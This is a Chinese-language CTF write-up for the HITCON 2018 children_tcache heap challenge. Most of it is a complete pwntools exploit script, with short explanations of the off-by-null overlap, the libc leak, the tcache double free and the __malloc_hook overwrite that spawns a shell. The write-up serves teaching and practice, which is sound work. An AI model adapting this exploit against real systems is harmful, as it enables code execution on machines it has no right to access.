hitcon_2018_children_tcache wp

64位tcachebin attack+off by null,保护全开
标准菜单,此题下标分配是优先占据空闲的下标,从小到大顺序分配,strcpy会在末尾添加\x00造成off by null
大致思路是unsortedbin leak然后劫持malloc_hook打one_gadget
先放exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=remote("node4.buuoj.cn",29088)
# io=process("./HITCON_2018_children_tcache")
elf=ELF("./HITCON_2018_children_tcache")
libc=ELF("./libc-2.27.so")

def add(n,c):
    io.sendlineafter(b"Your choice: ",b"1")
    io.sendlineafter(b"Size:",str(n))
    io.sendafter(b"Data:",c)

def show(n):
    io.sendlineafter(b"Your choice: ",b"2")
    io.sendlineafter(b"Index:",str(n))

def delete(n):
    io.sendlineafter(b"Your choice: ",b"3")
    io.sendlineafter(b"Index:",str(n))

add(0x440,b"aaa") #0
add(0x68,b"ccc") #1
add(0x4f0,b"ddd") #2
add(0x10,b"bbb") #3

delete(0)
delete(1)

for i in range(8):
    add(0x68-i,b"a"*(0x68-i)) #将逐字节更改直到最后1字节
    delete(0)  #下标空闲即可取

add(0x68,cyclic(0x60)+p64(0x4c0)) #0
delete(2)

add(0x440,b"sss") #1
show(0)

leak_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
libc_addr=leak_addr-0x60-0x3EBC40
malloc_hook=libc_addr+libc.sym[b"__malloc_hook"]
free_hook=libc_addr+libc.sym[b"__free_hook"]
one_gadget=[0x4f2a5,0x4f302,0x10a2fc]
print("libc_addr: "+hex(libc_addr))
shell=one_gadget[1]+libc_addr

add(0x68,b"eee") #2  0,2堆块重叠

delete(0) #main_arena->0
delete(2) #main_arena->2->0    double free

# gdb.attach(io)
# pause()

add(0x68,p64(malloc_hook))
add(0x68,p64(malloc_hook))
add(0x68,p64(shell))

io.sendlineafter(b"Your choice: ",b"1")
io.sendlineafter(b"Size:",b"1")

io.interactive() 

# 0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL

# 0x4f302 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   [rsp+0x40] == NULL

# 0x10a2fc execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

首先分配4个堆块,idx为0和2的堆块大于0x410,chunk 3防止释放时与top chunk合并
但delete函数存在字符污染

如果需要进行unlink操作合并前三个chunk需要将chunk 2的presize更改,这里需要用到for循环每一字节更改,最后再add修改presize即可

for i in range(8):
    add(0x68-i,b"a"*(0x68-i)) 
    delete(0) 
add(0x68,cyclic(0x60)+p64(0x4c0)) 


之后再分配堆块,这样不同下标的堆块指向同一块内存空间,可以实现tcachebin attack,最后劫持malloc_hook打one_gadget即可getshell,(劫持free_hook也行